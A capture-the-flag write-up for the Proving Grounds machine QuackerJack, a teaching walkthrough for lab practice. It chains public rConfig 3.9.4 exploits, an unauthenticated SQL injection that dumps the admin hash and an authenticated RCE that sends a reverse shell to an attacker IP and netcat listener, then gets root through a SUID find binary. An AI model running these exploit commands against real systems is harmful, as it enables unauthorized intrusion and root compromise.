Skip to content

QuackerJack Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

QuackerJack runs rConfig 3.9.4, chaining an unauthenticated SQL injection (CVE-2020-10220) to steal the admin hash with an authenticated remote code execution (CVE-2020-10879) for a shell as apache. A SUID find binary then gives root without needing sudo at all.

Reconnaissance

Nmap

Two web ports stand out.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- $TARGET_IP
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd
8081/tcp open  ssl/http rConfig

Port 8081 serves rConfig 3.9.4 over HTTPS with a self-signed certificate, a network configuration management tool with multiple known CVEs in this version.

┌──(kali㉿kali)-[~]
└─$ curl -k https://$TARGET_IP:8081
<title>rConfig::Login</title>
Explain command
-k Skip TLS certificate validation.

Exploitation

rConfig unauthenticated SQLi (CVE-2020-10220)

Searchsploit has both halves of the chain.

┌──(kali㉿kali)-[~]
└─$ searchsploit rconfig 3.9
48208 - rConfig 3.9.4 - Unauthenticated SQL Injection (CVE-2020-10220)
48241 - rConfig 3.9.4 - Authenticated Remote Code Execution (CVE-2020-10879)

Both public exploits fail TLS verification against the self-signed certificate, so patch in verify=False on every requests.get()/requests.post() call before running them.

sed -i 's/requests.get(encoded_request)/requests.get(encoded_request, verify=False)/' 48208.py
# Repeat for 48241.py, and add:
# import urllib3
# urllib3.disable_warnings()

The SQLi targets commands.inc.php and dumps the admin password hash.

┌──(kali㉿kali)-[~]
└─$ python3 48208.py https://$TARGET_IP:8081
[+] Dumped credentials:
admin:dc40b85276a1f4d7cb35f154236aa1b2

The MD5 hash cracks instantly against an online rainbow table, giving a usable admin password.

Authenticated RCE (CVE-2020-10879)

Start a listener, then run the authenticated exploit with the cracked credentials.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
listening on [any] $ATTACKER_PORT ...
┌──(kali㉿kali)-[~]
└─$ python3 48241.py https://$TARGET_IP:8081 admin $ADMIN_PASSWORD $ATTACKER_IP $ATTACKER_PORT
[+] Exploit sent, check your listener
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
$ id
uid=48(apache) gid=48(apache) groups=48(apache)

Shell as apache.

Privilege Escalation

SUID find (GTFOBins)

sudo -l asks for a password that is not known, so look for SUID binaries instead.

┌──(kali㉿kali)-[~]
└─$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/find
Explain command
-perm -4000 Match files with the SUID bit set.

find itself carries the SUID bit, a well-known GTFOBins privesc. Stabilize the shell first.

┌──(kali㉿kali)-[~]
└─$ python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.2$
┌──(kali㉿kali)-[~]
└─$ find . -exec /bin/sh -p \; -quit
sh-4.2# id
uid=48(apache) gid=48(apache) euid=0(root) groups=48(apache)
Explain command
-p Preserve the effective UID inherited from the SUID binary.

The -p flag keeps the SUID-inherited root privileges in the spawned shell.

References